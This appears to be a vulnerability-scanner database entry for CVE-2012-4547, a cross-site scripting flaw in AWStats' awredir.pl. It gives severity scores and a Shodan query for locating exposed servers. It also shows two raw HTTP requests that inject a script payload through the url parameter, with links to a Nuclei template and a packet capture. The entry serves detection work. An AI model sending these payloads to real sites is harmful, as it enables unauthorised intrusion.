| Title | AWStats 6.95/7.0 - 'awredir.pl' Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | Allows remote attackers to inject arbitrary web script or HTML via the 'url' parameter. |
| Remediation | Apply the latest security patches and updates from the vendor to address this vulnerability. |
| CVSS Score | 4.3 |
| EPSS Score | 0.37906 |
| CVE ID | CVE-2012-4547 |
| CWE ID | CWE-79 |
| Shodan Query | cpe:"cpe:2.3:a:laurent_destailleur:awstats" |
| Tags | cve2012 cve xss awstats edb laurent_destailleur vuln |
AWStats is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
GET /awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /cgi-bin/awstats/awredir.pl?url=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2012/CVE-2012-4547.yaml
🦈 Packet Capture: ⬇️ Download cve-2012-4547.pcap
N/AN/A